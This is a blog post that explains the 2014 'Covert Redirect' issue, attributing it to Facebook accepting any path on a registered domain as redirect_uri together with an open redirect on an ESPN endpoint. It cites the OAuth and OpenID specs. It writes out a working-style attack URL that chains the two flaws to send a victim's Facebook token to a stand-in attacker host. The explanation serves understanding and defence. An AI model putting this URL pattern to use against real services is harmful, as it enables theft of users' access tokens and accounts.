May 3rd, 2014

Covert Redirect: Facebook and ESPN Security, oh my god…

Yesterday a vulnerability was published under the name of Covert Redirect as a new security flaw in OAuth 2.0 / OpenId.

In the article says:

Covert Redirect is an application that takes a parameter and redirects a user to the parameter value WITHOUT SUFFICIENT validation. This is often the of result of a website’s overconfidence in its partners. In another word, the Covert Redirect vulnerability exists because there is not sufficient validation of the redirected URLs that belong to the domain of the partners.

Two main validation methods that would lead to Covert Redirect Vulnerability:
(1) Validation using a matched domain-token pair
(2) Validation using a whitelist

Now, I have to say that it is not new, in fact really surprise me that this kind of attacks are still possible, and it is not an OAuth 2.0 / OpenId vulnerability, but it could be a problem of any poor implementation of OAuth 2.0, WSFederation, SAML-P or any other redirect and token based authentication method.

In this video, the publisher shows how an attacker could obtain a Facebook access token (Implicit Flow) or a Facebook Authorization Code (Authorization Code Flow) from a victim using an Open Redirector on the ESPN site.

Lets see how it works.

Facebook poor OAuth implementation

As OAuth 2.0 commands, Facebook gets the redirect url, the url where the token will be sent after the user authorization through the consent screen (I removed other OAuth parameters for better presentation):

https://www.facebook.com/dialog/oauth?redirect_uri=CALLBACK_URL

It seems pretty obvious that this url MUST be validated, because other way, it would be pretty easy for an attacker to change this url and obtain the token from the victim, thats why you need to ask the clients to register their callback url.

In fact, if you look at the OAuth 2.0 Threat Model in the section 5.2.3.5 Validation of pre-registered redirect_uri says:

An authorization server SHOULD require all clients to register their redirect_uri and the redirect_uri should be the full URI as defined in [I-D.ietf-oauth-v2]. The way this registration is performed is out of scope of this document. Every actual redirection URI sent with the respective client_id to the end-user authorization endpoint must match the registered redirection URI. Where it does not match, the authorization server must assume the inbound GET request has been sent by an attacker and refuse it. Note: the authorization server MUST NOT redirect the user agent back to the redirection URI of such an authorization request.

Also in the OpenId Connect spec on the section 3.1.2.1. Authentication Request says:

redirect_uri
REQUIRED. Redirection URI to which the response will be sent. This URI MUST exactly match one of the Redirection URI values for the Client pre-registered at the OpenID Provider.

Facebook allows you to register the callback uri (redirect_uri) but it seems that, ignoring the specs, to simplify things for the developers, they only validate the domain of the argument received on the redirect_uri parameter, allowing any subdomain or path. That seems to be enough until one their clients has an Open Redirect vulnerability.

ESPN Open Redirect Vulnerability

Quoting the Open Redirect definition:

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation.

ESPN site has one of these on this endpoint:

http://m.espn.go.com/wireless/mw/util/redirectKeepParams?url=URI

It not only redirects to the parameter specified uri without any validation, it also sends the current query string parameters (pretty dangerous).

The Covert Redirect attack

As you can imagine, mixing the fact that Facebook only validates the domain and the open redirect vulnerability on the ESPN site you can do something like this (did’t use URL encoding for better presentation):

https://www.facebook.com/dialog/oauth?
redirect_uri=http://m.espn.go.com/wireless/mw/util/redirectKeepParams?q=1dpoa &url=http://hackersite.com/

Once you execute that URL, Facebook will show their consent screen saying that ESPN is asking for permission and the token generated by Facebook will be sent to the http://hackersite.com.

Conclusion

Covert Redirect is nothing new, and it is not a vulnerability on OAuth nor OpenId. there is a lot written about the redirect_uri parameter and how to validate it properly.

Cover Redirect is a mix of a poor OAuth implementation (Facebook) and an open redirector (ESPN). So, if you have an Open Redirector endpoint on you site fix it. On the Facebook side, they refused to fix the flexible redirect_uri long time ago, so you shouldn’t expect something new.